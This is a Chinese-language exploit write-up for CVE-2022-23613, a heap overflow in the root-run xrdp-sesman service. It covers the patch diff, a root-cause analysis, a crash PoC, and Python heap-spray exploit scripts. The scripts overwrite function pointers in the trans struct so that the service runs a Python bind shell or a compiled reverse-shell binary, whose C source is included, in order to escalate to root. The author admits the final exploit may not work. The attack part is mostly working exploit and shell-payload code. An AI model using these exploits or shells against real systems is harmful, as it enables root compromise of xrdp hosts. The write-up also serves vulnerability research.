写在前面:本篇文章后,笔者已经发现了可稳定利用且不依赖堆喷的利用方案,详情请见笔者于 看雪KCTF2022秋季赛 所出题目:https://bbs.kanxue.com/thread-274982.htm 笔者在该比赛中将本题的稳定利用方式作为赛题提交参赛,并最终收获 精致奖(Rank3) 因此本篇内容属于笔者对于堆喷利用技巧的探索和思考
CVE-2022-23613复现与漏洞利用可能性 因为很少做过真实场景下的漏洞复现,深感自己知识的浅薄,恰巧团里的师傅发了个洞,让我看看怎么利用,因此顺便做一个简陋的分析吧。
漏洞编号为 CVE-2022-23613 ,现已公开了相关信息。该漏洞作为一个运行在 root 权限下的 RDP 服务,由于该漏洞最终能够导致任意代码执行,因此笔者打算以提权作为最终的利用目标。
若本文存在任何纰漏,请务必与我联系,我会尽快修正本文内容。
复现环境 1 2 3 4 xrdp-sesman 0.9 .18 The xrdp session manager Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors. See https:
该项目的开源地址:https://github.com/neutrinolabs/xrdp
漏洞成因 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static int sesman_data_in(struct trans *self) {+ #define HEADER_SIZE 8 int version; int size; if (self->extra_flags == 0) { in_uint32_be(self->in_s, version); in_uint32_be(self->in_s, size);- if (size > self->in_s->size) + if (size < HEADER_SIZE || size > self->in_s->size) {- LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size"); + LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size); return 1; } self->header_size = size;@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self) return 1; } /* reset for next message */- self->header_size = 8; + self->header_size = HEADER_SIZE; self->extra_flags = 0; init_stream(self->in_s, 0); /* Reset input stream pointers */ } return 0;+ #undef HEADER_SIZE } /******************************************************************************/
从已公开的 Patch 可以看出,它添加了一个对 size
变量的负数校验,似乎意味着整数溢出漏洞的存在,不妨跟踪一下该变量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 else { if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0 )) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0 ) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int ) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0 ) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);
查找 self->header_size
的引用,可以发现该变量将与 self->trans_recv
的参数间接相关,而该函数类似于 read
的作用,将 self
相关的套接字中读取 to_read
个字符到 self->in_s->end
。
而该缓冲区来自于:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 struct trans *trans_create (int mode, int in_size, int out_size) { struct trans *self = (struct trans *) NULL ; self = (struct trans *) g_malloc(sizeof (struct trans), 1 ); if (self != NULL ) { make_stream(self->in_s); init_stream(self->in_s, in_size); make_stream(self->out_s); init_stream(self->out_s, out_size); self->mode = mode; self->tls = 0 ; self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; } return self; }
1 2 3 4 5 6 7 8 9 10 11 12 #define init_stream(s, v) do \ { \ if ((v) > (s)->size) \ { \ g_free((s)->data); \ (s)->data = (char*)g_malloc((v), 0); \ (s)->size = (v); \ } \ (s)->p = (s)->data; \ (s)->end = (s)->data; \ (s)->next_packet = 0; \ } while (0)
可以看见,该缓冲区会通过 g_malloc
创建在堆上,那么只要 to_read
的值超出了堆的原始大小,就有可能造成堆溢出了:
1 g_list_trans = trans_create(TRANS_MODE_TCP, 8192 , 8192 );
从调用点也可以看出,每次建立一个新的连接时都会为该连接创建一个大小为 0x2000 的输入缓冲区,并且接下来将会调用 trans_check_wait_objs
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int trans_check_wait_objs (struct trans *self) { ...... if (self->type1 == TRANS_TYPE_LISTENER) { ...... } else { if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0 )) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0 ) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int ) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0 ) { read_bytes = self->trans_recv(self, self->in_s->end, to_read); ...... } ...... } return rv; }
如果创建的类型不为 TRANS_TYPE_LISTENER
,那么该连接就会调用 self->trans_recv
将数据直接读进刚刚创建的输入缓冲区中,且由于它并没有校验 self->header_size
可能是负数的情况,因此可以令 to_read
通过负数减去一个正数溢出为一个极大的正数,从而导致堆溢出。
POC:
1 2 3 4 5 6 7 8 9 10 11 import socketimport structif __name__ == "__main__" : s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1" ,3350 )) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) s.send(sdata) sdata = b'a' *0x10000 s.send(sdata)
漏洞利用 回顾一下刚刚的 trans_create
可以发现:
1 2 3 4 5 6 7 8 9 10 11 12 struct trans *trans_create (int mode, int in_size, int out_size) { struct trans *self = (struct trans *) NULL ; self = (struct trans *) g_malloc(sizeof (struct trans), 1 ); ...... self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; return self; }
struct trans self
结构体与输入输出缓冲区同样位于堆内存中,并且它还初始化了函数指针,那么一个可行的利用点就是:通过堆溢出去覆盖 self->trans_recv
偏移处的值为一个类似 system
的函数来进行任意命令执行。
通过 IDA 搜索可以找到如下两个函数:
1 2 extern :00000000004105 D8 extrn g_execvp:nearextern :0000000000410658 extrn g_execlp3:near
这两个命令分别是 execvp
和 execlp
的包装,函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int g_execvp (const char *p1, char *args[]) { ...... args_len = 0 ; while (args[args_len] != NULL ) { args_len++; } g_strnjoin(args_str, ARGS_STR_LEN, " " , (const char **) args, args_len); g_rm_temp_dir(); rv = execvp(p1, args); ...... }int g_execlp3 (const char *a1, const char *a2, const char *a3) { ...... g_strnjoin(args_str, ARGS_STR_LEN, " " , args, 2 ); ...... g_rm_temp_dir(); rv = execlp(a1, a2, a3, (void *)0 ); ...... }
因为 xrdp 服务是通过 socket 进行通信的,因此让其打开 “/bin/sh” 是不够的,想要让它能够完成任意命令执行,最好还是让它反弹一个 shell 出来比较合适,比方说:
1 2 3 4 5 6 7 #include <stdlib.h> int main () { char ars2[]="-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");" ; execlp("python3" ,"python3" ,ars2,0 ); return 0 ; }
这个格式就比较像 g_execlp3
的实现了对吗?看起来似乎相当可行,但是笔者在经过各种各样的尝试以后放弃了这个做法,因为精准的控制参数是一件极其困难的事情。
参数控制的难点 1 read_bytes = self->trans_recv(self, self->in_s->end, to_read);
假设我们令 self->trans_recv
为 g_execlp3
,那么我们就需要令 self
指向 “python3”,self->in_s->end
也是一个指向 “python3” 字符串的指针,以及 to_read
必须为一个指向参数的指针。
通过 IDA 搜索二进制程序中的字符串可以发现,唯一一个或许能用的字符串只有 “/bin/sh”,因此所有的参数字符串都需要我们一起放在 payload 中输入到内存里去才行。
但是有与常规的 CTF PWN 题不同的是,用户通过 socket 进行交互,泄露地址是一件比较麻烦的事情,大部分情况下甚至连回显都拿不到,更何况就算有办法拿到回显,泄露地址的参数也仍然需要控制,因此又要绕回到这个问题上,因此只好考虑如何在无地址的情况下完成利用。
覆盖结构体的细节 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 struct trans { tbus sck; int mode; int status; int type1; ttrans_data_in trans_data_in; ttrans_conn_in trans_conn_in; void *callback_data; int header_size; struct stream *in_s ; struct stream *out_s ; char *listen_filename; tis_term is_term; struct stream *wait_s ; char addr[256 ]; char port[256 ]; int no_stream_init_on_data_in; int extra_flags; struct ssl_tls *tls ; const char *ssl_protocol; const char *cipher_name; trans_recv_proc trans_recv; trans_send_proc trans_send; trans_can_recv_proc trans_can_recv; struct source_info *si ; enum xrdp_source my_source ; };
self
是一个 struct trans
,为了触发 self->trans_recv
,我们需要先通过几个检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int trans_check_wait_objs (struct trans *self) { ...... if (self->status != TRANS_STATUS_UP) { return 1 ; } rv = 0 ; if (self->type1 == TRANS_TYPE_LISTENER) { ...... } else { if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0 )) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0 ) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int ) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0 ) { read_bytes = self->trans_recv(self, self->in_s->end, to_read); ...... }
self->status
必须固定为 TRANS_STATUS_UP
self->type1
不可为 TRANS_TYPE_LISTENER
self->trans_can_recv
返回非 0 值
self->si
非 0
可以注意到,由于 self->status
的值是固定的,因此 self
为字符串时,只有前几个字符可以控制,不过看起来似乎还是够写至少八个字符的,因此第一个参数似乎可以稳定传参。
但是正如刚刚所说,另外两个参数的控制就显得有些麻烦了。
首先是 self->in_s->end
,这意味着需要先覆盖 self->in_s
为 target_addr-end_offset
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct stream { char *p; char *end; char *data; int size; int pad0; char *iso_hdr; char *mcs_hdr; char *sec_hdr; char *rdp_hdr; char *channel_hdr; char *next_packet; struct stream *next ; int *source; };
也就是说,需要它是一个地址,而现在我们似乎没办法泄露随机的堆地址。
第二个是 to_read
函数,它通过两行代码计算得出:
1 2 read_so_far = (int ) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far;
控制 to_read
并不困难,假设我们需要它指向一个堆,由于堆地址总是小于 0x80000000,因此它是一个正数能够被保证,其次,self->header_size
能够被任意控制,因此控制其值本身是容易的,但是问题还是一样的,堆地址怎么来?
另外还有一个需要注意的点是,为了调用 self->trans_recv
需要先通过 self->trans_can_recv
,由于 self
结构体已经被覆盖,该函数是有一定可能调用失败的,该函数的实际实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int g_sck_can_recv (int sck, int millis) { fd_set rfds; struct timeval time ; int rv; g_memset(&time, 0 , sizeof (time)); time.tv_sec = millis / 1000 ; time.tv_usec = (millis * 1000 ) % 1000000 ; FD_ZERO(&rfds); if (sck > 0 ) { FD_SET(((unsigned int )sck), &rfds); rv = select(sck + 1 , &rfds, 0 , 0 , &time); if (rv > 0 ) { return 1 ; } } return 0 ; }
由于我们完全不关心该函数的功能逻辑,笔者在构造 exp 时候打算令其直接恒真:
1 0x0000000000405464 : or al, 0x89 ; ret
注意到程序有这么一个 gadget 可以利用,因此我们将该函数指针覆盖为该 gadget 时即可绕过检查。
堆喷的可能性 您可能会注意到,每次初始化输入缓冲区和输出缓冲区时,都建立了 0x2000 大小的缓冲区,这个值并不小,那么如果多建立几个连接,是否就能够像堆喷那样完成利用呢?
1 2 3 4 5 6 7 #define MAX_SHORT_LIVED_CONNECTIONS 16
可以看见,此处的 MAX_SHORT_LIVED_CONNECTIONS
较小,它只允许我们最多保持 16 个连接,生成的堆内存如下:
1 2 3 4 5 6 7 8 9 10 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x403000 r--p 3000 0 /usr/local/sbin/xrdp-sesman 0x403000 0x40b000 r-xp 8000 3000 /usr/local/sbin/xrdp-sesman 0x40b000 0x40f000 r--p 4000 b000 /usr/local/sbin/xrdp-sesman 0x40f000 0x410000 r--p 1000 e000 /usr/local/sbin/xrdp-sesman 0x410000 0x411000 rw-p 1000 f000 /usr/local/sbin/xrdp-sesman 0x65b000 0x6a7000 rw-p 4 c000 0 [heap] 0x6a7000 0x6c8000 rw-p 21000 0 [heap]
总共的堆内存大小为 0x6D000,考虑到堆一开始就有一部分被用于其他用途,笔者最终算出来的堆内存可用大小最多为 0x5b0b8,而堆的地址大概在 0x0300000~0x3500000
这个数值是笔者在调试过程中根据印象猜出来的,实际还是要以源代码为准,但笔者在这里想要表达的意思是,强行堆喷的成功率不高,粗算一下大概是 0.7112884521484375%(原神单抽一个五星的感觉)
但其实还不只是如此,因为强行堆喷需要布置的内容是参数+地址,大致结构如下:
1 args_str1 | args_str2 | args_str1_addr | args_str2_addr
而您需要保证的是:
self->in_s
能够指向 args_str1_addr-8
以及 args_str1_addr
能够指向 args_str1
如果您能够保证以上两点,args_str2_addr
由于可以通过偏移算出,因此几乎必中,to_read
参数也可以通过偏移算出,也能够保证几乎必中。
但您也发现了,这需要碰撞两次地址,对本就不太容易成功的条件更是雪上加霜。看起来似乎需要优化一下堆喷的思路才能够完成。
对堆喷思路的优化
注:以下内容是笔者在尝试时的一种猜测,它没能成功,但笔者仍然写在这里,期望与各位师傅们探讨它的可行性。可能已经有过这样的技巧了,但作为一次学习记录,姑且写下吧。
因为一开始我们是将输入的结构作为一个整体进行地址碰撞,但似乎可以拆分一下来提高成功率。
结构一为:
结构二为:
1 args_str1_addr | args_str2_addr
也就是说,将字符串和指向字符串的地址拆分开,分别用两个结构去填充内存。
看起来似乎没有差别,但是由于 Glibc 管理的堆内存是一个线性结构,这意味着 args_str1
和 args_str1_addr
是可以有一个较为稳定的相对偏移的(这个偏移会浮动,但笔者认为浮动不大,只要字符串结构布置的足够密集,理论上会更容易命中一点)。
那么情况就会变成:如果 self->in_s
命中了 args_str1_addr-8
,那么, args_str1_addr
为 args_str1+offset
,理论上也有不小的概率能够命中。
这么来看,似乎将本来需要碰撞两次的地址优化为了只 需要碰撞一次+一个中概率事件发生 。
在 16 个连接的条件下,由于堆的大小较小,因此笔者没能成功,但是如果我们调大了这块内存,允许建立大约 100 个连接左右的情况下,堆的内存会骤增。笔者最后测试的结果大约是 10% 左右的碰撞命中率。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import socketimport structimport timedef pack_addr (): sdata=b"python3\x00-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");\x00" return sdatadef pack_addr2 (): sdata = b"\xf0\x93\x0a\x02\x00\x00\x00\x00" sdata = b"\xf8\x93\x0a\x02\x00\x00\x00\x00" return sdata s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1" ,3350 )) con_list=[0 ]*300 for i in range (14 ): con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[i].connect(("127.0.0.1" ,3350 )) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) con_list[i].send(sdata) sdata = pack_addr()*0xd0 con_list[i].send(sdata) con_list[14 ] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[14 ].connect(("127.0.0.1" ,3350 )) con_list[15 ] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[15 ].connect(("127.0.0.1" ,3350 )) x = socket.socket(socket.AF_INET,socket.SOCK_STREAM) x.connect(("127.0.0.1" ,3350 )) con_list2=[0 ]*300 def heap_spary (x,y ): for i in range (x,y): con_list2[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list2[i].connect(("127.0.0.1" ,3350 )) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) con_list2[i].send(sdata) sdata = pack_addr2()*0x3f0 con_list2[i].send(sdata) time.sleep(0.05 ) heap_spary(0 ,50 ) heap_spary(50 ,100 ) heap_spary(100 ,150 ) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) con_list[15 ].send(sdata) sdata = b'D' *0x10 con_list[15 ].send(sdata) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) con_list[14 ].send(sdata) sdata = b'C' *0x4140 +b"\xb1\x02\x00\x00\x00\x00\x00\x00" +b"/tmp/x\x00\x00" +b"\x01\x00\x00\x00" *2 sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00" +b"\xba\xc9\x40\x00\x00\x00\x00\x00" +b"\x00\x00\x00\x00\x00\x00\x00\x00" sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00" +b"\xba\xc9\x40\x00\x00\x00\x00\x00" +b"\xf0\x93\x3a\x02\x00\x00\x00\x00" sdata+=b"P" *0x240 +b"\xf0\x3b\x40\x00\x00\x00\x00\x00" +b"\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata+=b"\x64\x54\x40\x00\x00\x00\x00\x00" con_list[14 ].send(sdata) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += b"\x58\x01\xda\x00\x00\x00\x00\x00" con_list[15 ].send(sdata)
大致的 exp 如上,先将参数打入到堆内存的首部,然后再往之后的堆内存里去堆字符串的地址。最后在覆盖 self->in_s
时候用一个堆地址去撞。
第二法与例外 在堆喷失败以后,笔者又试了一下其他的方法,最终认为,如果我们只需要在本机上进行提权,完全不需要这么麻烦去构造一个 execlp
的调用链。
首先,我们可以先写一个用于反弹 shell 的程序,用静态编译的方法将其编译到 ”/tmp/x“:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <netinet/in.h> #include <netdb.h> char shell[]="/bin/sh" ;char message[]="hi hacker welcome" ;int sock;int main (int argc, char *argv[]) { struct sockaddr_in server ; if ((sock = socket(AF_INET, SOCK_STREAM, 0 )) == -1 ) { printf ("Couldn't make socket!n" ); exit (-1 ); } server.sin_family = AF_INET; server.sin_port = htons(atoi("10000" )); server.sin_addr.s_addr = inet_addr("0.0.0.0" ); if (connect(sock, (struct sockaddr *)&server, sizeof (struct sockaddr)) == -1 ) { printf ("Could not connect to remote shell!n" ); exit (-1 ); } send(sock, message, sizeof (message), 0 ); dup2(sock, 0 ); dup2(sock, 1 ); dup2(sock, 2 ); execl(shell,"/bin/sh" ,(char *)0 ); close(sock); return 1 ; } void usage (char *prog[]) { printf ("Usage: %s <reflect ip> <port>\n" , prog); exit (-1 ); }
接下来我们令服务调用如下函数:
1 2 3 4 5 6 7 8 9 #include <stdlib.h> #include <errno.h> #include <stdio.h> int main () { int a=execlp("/tmp/x" ,0 ,0 ,(void *)0 ); return 0 ; }
后两个参数是完全随意的,不管是什么,只要是合法参数都行,或者:
1 2 3 4 5 6 7 8 #include <stdlib.h> #include <errno.h> #include <stdio.h> int main () { int a=execvp("/tmp/x" ,0 ); return 0 ; }
对于 execlp
的情况,由于服务中使用的实际上是 g_execlp3
,因此我们需要保证第二和第三个参数是可解析的,只要它们是可解析的,那么为任意值都行。
而对于第二个情况,我们只需要令第二个参数为 0 即可,不过在该服务中,其实际实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int g_execvp (const char *p1, char *args[]) { int rv; char args_str[ARGS_STR_LEN]; int args_len; args_len = 0 ; while (args[args_len] != NULL ) { args_len++; } g_strnjoin(args_str, ARGS_STR_LEN, " " , (const char **) args, args_len); LOG(LOG_LEVEL_DEBUG, "Calling exec (excutable: %s, arguments: %s)" , p1, args_str); g_rm_temp_dir(); rv = execvp(p1, args); LOG(LOG_LEVEL_ERROR, "Error calling exec (excutable: %s, arguments: %s) " "returned errno: %d, description: %s" , p1, args_str, g_get_errno(), g_get_strerror()); g_mk_socket_path(0 ); return rv;#endif }
self->in_s->end
为 0 将会失败,因为 args[args_len]
会引用错误的地址。因此最好的办法是找一个地方,让 self->in_s->end
能够指向 0 。
这似乎是有可能实现的,而且即便我们找不到任何指向 0 的指针,只要能有一片连续的地址保持如下结构就行了:
1 addr1 | addr2 | addr3 | 0
甚至于,直接尝试堆喷去撞那个将近 1% 的概率似乎也不是不能接受。
加之第一个参数是稳定控制的,尽管能写的字符数不多,但 ”/tmp/x“ 总共也不到八字节,绰绰有余。
这么一看,似乎对参数就有很多余裕了,只要参数符合调用规则,任意参数都可以。因此接下来就只剩下找到一个合适的地址作为参数去构造了。
最后的 EXP 结构大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import socketimport structimport timedef pack_addr2 (): sdata = b"\xba\xc9\x40\x00\x00\x00\x00\x00" return sdata s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1" ,3350 )) con_list=[0 ]*300 for i in range (12 ): con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[i].connect(("127.0.0.1" ,3350 )) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) con_list[i].send(sdata) sdata = pack_addr2()*0x3f0 con_list[i].send(sdata) time.sleep(0.05 ) con_list[14 ] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[14 ].connect(("127.0.0.1" ,3350 )) con_list[15 ] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[15 ].connect(("127.0.0.1" ,3350 )) x = socket.socket(socket.AF_INET,socket.SOCK_STREAM) x.connect(("127.0.0.1" ,3350 )) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) con_list[15 ].send(sdata) sdata = b'D' *0x10 con_list[15 ].send(sdata) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) con_list[14 ].send(sdata) sdata = b'C' *0x4140 +b"\xb1\x02\x00\x00\x00\x00\x00\x00" +b"/tmp/x\x00\x00" +b"\x01\x00\x00\x00" *2 sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00" +b"\xba\xc9\x40\x00\x00\x00\x00\x00" +b"\x00\x00\x00\x00\x00\x00\x00\x00" sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00" +b"\xba\xc9\x40\x00\x00\x00\x00\x00" +b"\xf0\x93\x3a\x02\x00\x00\x00\x00" sdata+=b"P" *0x240 +b"\xf0\x3b\x40\x00\x00\x00\x00\x00" +b"\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata+=b"\x64\x54\x40\x00\x00\x00\x00\x00" con_list[14 ].send(sdata) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += b"\x58\x01\xda\x00\x00\x00\x00\x00" con_list[15 ].send(sdata)
这个 exp 可能是不通的,因为我选了用 execlp 去完成。主要是做到这一步之后,我感兴趣的部分已经全都完成了,所以差不多就停了,并且本文也已经写完了。
如果读者对 execvp 的方案感兴趣,也可以自行尝试一下。